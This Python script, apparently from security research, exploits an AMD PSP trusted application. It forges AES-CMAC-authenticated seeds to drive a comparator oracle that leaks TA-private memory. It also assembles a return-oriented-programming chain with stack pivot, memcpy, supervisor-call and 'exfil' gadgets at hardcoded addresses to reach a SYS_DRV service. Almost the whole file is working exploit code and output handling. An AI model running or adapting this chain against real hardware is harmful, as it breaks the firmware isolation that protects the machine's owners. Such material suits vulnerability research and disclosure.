1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
|
"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle.
params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000).
Target VA T -> D = (T - params - 0x14) mod 2^32, placed at *(params+0x824).
Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT).
Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the
AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below
(the box has no crypto module). 32 probes binary-search the full 32-bit value.
"""
import struct, sys, glob, json
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
# ---------- pure-python AES-128 + CMAC ----------
SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
def xt(a):
a<<=1
return (a^0x1b)&0xff if a&0x100 else a
def expand(k):
w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
for i in range(4,44):
t=list(w[i-1])
if i%4==0:
t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
w.append([w[i-4][j]^t[j] for j in range(4)])
return w
def enc(k,b):
w=expand(k); s=[list(b[i::4]) for i in range(4)]
s=[[b[r+4*c] for c in range(4)] for r in range(4)]
def ark(rnd):
for c in range(4):
for r in range(4): s[r][c]^=w[rnd*4+c][r]
ark(0)
for rnd in range(1,11):
for r in range(4):
for c in range(4): s[r][c]=SB[s[r][c]]
for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
if rnd!=10:
for c in range(4):
a=[s[r][c] for r in range(4)]
s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
ark(rnd)
return bytes(s[r][c] for c in range(4) for r in range(4))
def dbl(b):
n=int.from_bytes(b,'big')<<1
if int.from_bytes(b,'big')>>127: n^=0x87
return (n&((1<<128)-1)).to_bytes(16,'big')
def cmac(k,m):
L=enc(k,bytes(16)); K1=dbl(L)
assert len(m)%16==0 and m
blocks=[m[i:i+16] for i in range(0,len(m),16)]
blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
x=bytes(16)
for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
return x
# ---------- device ----------
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
g=json.load(open('/root/psp/hw/fe08_good.json'))
CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)')
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
def load_asd(p):
b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
except Exception: return -1
app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
def load():
n=(len(blob)+3)&~3
adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
try:
r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
except Exception: return -1,None
def build(cmd,arg10,blob256=None,seed=None,extra=None):
buf=bytearray(bytes([PAT])*BUFLEN)
struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
if blob256: buf[0x14:0x14+len(blob256)]=blob256
if seed is not None:
d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
struct.pack_into('<I',buf,0x414,0x10+len(d))
for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
return buf
def sub(sid,cmd,buf):
adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
try: psp._ring_submit(c)
except Exception: pass
adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
return struct.unpack_from('<I',out,8)[0], out
import time
PARAMS=0x04024000
FILL=0xBB
print('LOAD_ASD:',hex(load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin')))
st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid)); sys.stdout.flush()
def unload(s_):
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_
try: psp._ring_submit(c)
except Exception: pass
def handshake():
global sid
for _ in range(8):
ta,out=sub(sid,0xFE07,build(0xFE07,0)); h=struct.unpack_from('<I',out,0x1950)[0]
if ta==0: return h
unload(sid); st2,ns=load(); sid=ns if ns else sid; time.sleep(0.2)
raise RuntimeError('FE07 failed')
# ============================================================================
# FE0A SELECTOR-8 PROBE (Addendum 142 step 3)
#
# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a
# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418,
# gated by D > 0xFFFFFFFB || D + 4 <= *(params+0x818).
#
# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the
# command buffer, so nothing out-of-allocation is written and the ring stays healthy.
# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed --
# the 0x834 field identity is a static inference and may be wrong.
# ============================================================================
FILL2 = 0xBB
def invoke(cmd, buf):
adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
try: psp._ring_submit(c)
except Exception as e: print(' submit exc', e)
adev.gmc.flush_hdp()
return bytes(adev.vram.view(cp, BUFLEN)[:])
def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000):
"""identical field set to codeccap's proven fe0a_codec, plus +0x834"""
buf = bytearray(bytes([FILL2]) * BUFLEN)
struct.pack_into('<I', buf, 0, 0xFE0A)
struct.pack_into('<I', buf, 0x10, h)
struct.pack_into('<I', buf, 0x414, 0x1000)
struct.pack_into('<I', buf, 0x818, sz818)
struct.pack_into('<I', buf, 0x81c, 0x20)
struct.pack_into('<I', buf, 0x820, sel)
struct.pack_into('<I', buf, 0x824, 0)
struct.pack_into('<I', buf, 0x828, 0)
struct.pack_into('<I', buf, 0x86c, d86c)
if d834 is not None: struct.pack_into('<I', buf, 0x834, d834)
struct.pack_into('<I', buf, 0x14, 0x11111111)
return buf
def diffruns(pre, post):
runs, i, n = [], 0, len(post)
while i < n:
if post[i] != pre[i]:
j = i
while j < n and post[j] != pre[j]: j += 1
runs.append((i, post[i:j])); i = j
else:
i += 1
return runs
def probe(tag, sel, d834=None, d86c=0, sz818=0x1000):
h = handshake()
sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
sub(sid, 0xFE09, build(0xFE09, h, seed=1,
extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0}))
buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818)
out = invoke(0xFE0A, buf)
st = struct.unpack_from('<I', out, 8)[0]
d834s = 'none' if d834 is None else '%#x' % d834
print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st))
runs = diffruns(bytes(buf), out)
for off, data in runs:
if len(data) <= 24: print(' +%#07x %s' % (off, data.hex(' ')))
else: print(' +%#07x len=%-5d %s ...' % (off, len(data), data[:16].hex(' ')))
if not runs: print(' (no host-visible change at all)')
sys.stdout.flush()
import struct as _s
PARAMS=0x04024000
RBASE_OFF=0x2000; RBASE=PARAMS+RBASE_OFF
PIVOT=0x0040371d # mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc}
STRB =0x00402267 # strb r4,[r5] ; pop {r4,r5,r6,r7,r8,pc}
SETR0=0x00405f79 # pop {r0,r8,fp,pc}
RET =0x0040498d # 0x40498c error-path entry (mov r6,r0 ; cbnz r0 -> 0x4049d8)
R0VAL=0x00000240 # nonzero status for the cbnz
MARK_OFF=0x3000; MARK=PARAMS+MARK_OFF; MARKB=0x5A
SLOT=0x41bfbc # PC slot; sl slot = 0x41bfb8, r4 slot = 0x41bfa0
def c2p(n): return getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n).read() & 0xFFFFFFFF
def fframe(): return tuple(c2p(n) for n in range(82,89))
def disp(va): return (va-PARAMS-0x418)&0xFFFFFFFF
def fe0c(h,a10,a18):
b=bytearray(bytes([PAT])*BUFLEN)
_s.pack_into('<I',b,0,0xFE0C); _s.pack_into('<I',b,0x10,h)
_s.pack_into('<Q',b,0x10,a10); _s.pack_into('<Q',b,0x18,a18)
_s.pack_into('<I',b,0x414,0x1000); _s.pack_into('<I',b,0x818,0x1000)
return b
# ===================== STACK-MIGRATION svc 0xf2 chain =====================
RBASE_OFF=0x2000 # primary chain (host buf), RBASE=params+0x2000
SRC_OFF =0x2200 # migrated block source (host buf)
STACK_DST=0x00410000 # in-window GCP RW data dest (SP after repivot)
MLEN =0x300 # migrated block length
EXFIL =PARAMS+0x3000 # host-readable: SYS_DRV/ASD status lands here
MARK2 =PARAMS+0x3100 # graceful-chain-ran marker
SETARGS =0x0040167f # pop {r0,r1,r2,r3,r4,r5,r6,r7,r8,sb,sl,fp,ip,pc}
MEMCPYG =0x0040410b # blx memcpy ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc}
SVC1 =0x004061cb # bare svc 0xf2 ; add sp,#0x1c ; pop {r4,r5,pc} (keeps r0)
EXFILG =0x0040404f # str r0,[r5] ; add sp,#0x80 ; pop {r4,r5,r7,pc}
SERVICE =1 # service 1 = SYS_DRV
import os as _os
OPCODE =int(_os.environ.get('OPCODE','0x3103'),16)
MSG_OFF =0x200 # msg lives at STACK_DST+0x200 (zeroed -> benign)
def chain(buf):
def W(off,v): _s.pack_into('<I',buf,off,v&0xFFFFFFFF)
# ---- primary chain in host buffer (SP in command buffer) ----
o=RBASE_OFF
for k in range(0,0x20,4): W(o+k,0) # pivot pops r4..fp
W(o+0x20, SETARGS) # -> setargs for memcpy
W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN) # r0=dst r1=src r2=len
for k in range(0x30,0x58,4): W(o+k,0) # r3..ip
W(o+0x58, MEMCPYG) # -> memcpy gadget
W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT) # r4=dst ; -> repivot
# ---- migrated block (copied to STACK_DST); offsets == STACK_DST-relative ----
m=SRC_OFF
for k in range(0,0x20,4): W(m+k,0) # repivot pops
W(m+0x20, SETARGS) # -> setargs for svc
W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSG_OFF) # r0=service r1=msg(in-window)
for k in range(0x2c,0x58,4): W(m+k,0)
W(m+0x58, SVC1) # -> svc gadget (bare svc, r0=1 kept)
W(m+0x78,0); W(m+0x7c, EXFIL); W(m+0x80, EXFILG) # r5=exfil ; -> exfil gadget
W(m+0x104, STACK_DST+0x140); W(m+0x108,0); W(m+0x10c,0); W(m+0x110, PIVOT) # r4=grace base ; -> pivot
# ---- graceful return (Addendum H) at STACK_DST+0x140 ----
g=m+0x140
W(g+0x00,0x5A); W(g+0x04,MARK2)
for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0)
W(g+0x20,STRB)
W(g+0x24,0x8d); W(g+0x28,0x41bfbc); W(g+0x2c,0);W(g+0x30,0);W(g+0x34,0); W(g+0x38,STRB)
W(g+0x3c,0x49); W(g+0x40,0x41bfbd); W(g+0x44,0);W(g+0x48,0);W(g+0x4c,0); W(g+0x50,STRB)
W(g+0x54,0x40); W(g+0x58,0x41bfbe); W(g+0x5c,0);W(g+0x60,0);W(g+0x64,0); W(g+0x68,STRB)
W(g+0x6c,0x00); W(g+0x70,0x41bfbf); W(g+0x74,0);W(g+0x78,0);W(g+0x7c,0); W(g+0x80,STRB)
W(g+0x84,0x41bf9c); W(g+0x88,0); W(g+0x8c,0);W(g+0x90,0);W(g+0x94,0); W(g+0x98,SETR0)
W(g+0x9c,R0VAL); W(g+0xa0,0); W(g+0xa4,0); W(g+0xa8,PIVOT)
for k in range(0x200,0x300,4): W(m+k,0) # zero M + a1(P)
W(m+0x200, OPCODE) # M[0] = opcode (from env)
W(m+0x208, STACK_DST+0x280) # M[8] = ptr -> a1 buffer P (in-window, zeroed)
W(m+0x20c, 0x44C) # M[12] = len (>= 0x44C)
# P (STACK_DST+0x280) left zero: a1[0]=idx0, a1[3]=guard0, a1[40]=v10=0 -> bounded 76B copy
def qcs(h,dA,dB):
b=bytearray(bytes([0xBB])*BUFLEN)
_s.pack_into('<I',b,0,0xFE0A); _s.pack_into('<I',b,0x10,h)
_s.pack_into('<I',b,0x14,0x11111111); _s.pack_into('<I',b,0x414,0x1000)
_s.pack_into('<I',b,0x818,0xFFFFFFF0); _s.pack_into('<I',b,0x81c,0x40)
_s.pack_into('<I',b,0x820,4); _s.pack_into('<I',b,0x824,0); _s.pack_into('<I',b,0x828,0)
_s.pack_into('<I',b,0x838,dB&0xFFFFFFFF); _s.pack_into('<I',b,0x83c,0x200)
_s.pack_into('<I',b,0x840,dA&0xFFFFFFFF); _s.pack_into('<Q',b,0x14+0x200,0)
chain(b); return b
A10=RBASE&0xFFFFFFFF; A18=(PIVOT<<32)
h=handshake()
stc,_=sub(sid,0xFE0C,fe0c(h,A10,A18))
sub(sid,0xFE08,build(0xFE08,h,blob256=CT))
sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0}))
out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04)))
st=_s.unpack_from('<I',out,8)[0]; fr=fframe()
asd_status=_s.unpack_from('<I',out,0x3000)[0]
grace_marker=out[0x3100]
print("SVC1-MIGRATE(service1/0x3103) FE0A status=%#x faultFSR=%#x faultaddr=%#x"%(st,fr[3],fr[4]))
print(" graceful-chain marker @+0x3100 = %#04x (want 0x5a)"%grace_marker)
print(" exfil'd svc status @+0x3000 = %#x"%asd_status)
ta,o2=sub(sid,0xFE07,build(0xFE07,0)); h2=_s.unpack_from('<I',o2,0x1950)[0]
print(" follow-up FE07 (no ATX): ta=%#x handle=%#x"%(ta,h2))
reached = (asd_status != 0xffff0001)
print(" OPCODE=%#x SYS_DRV svc-1 status=%#x -> %s"%(OPCODE,asd_status, "REACHED (ACL allowed)" if reached else "ACL-REJECTED (0xffff0001)"))
print(" RESULT OPCODE=%#x status=%#x reached=%s ringok=%s"%(OPCODE,asd_status,reached,ta==0))
|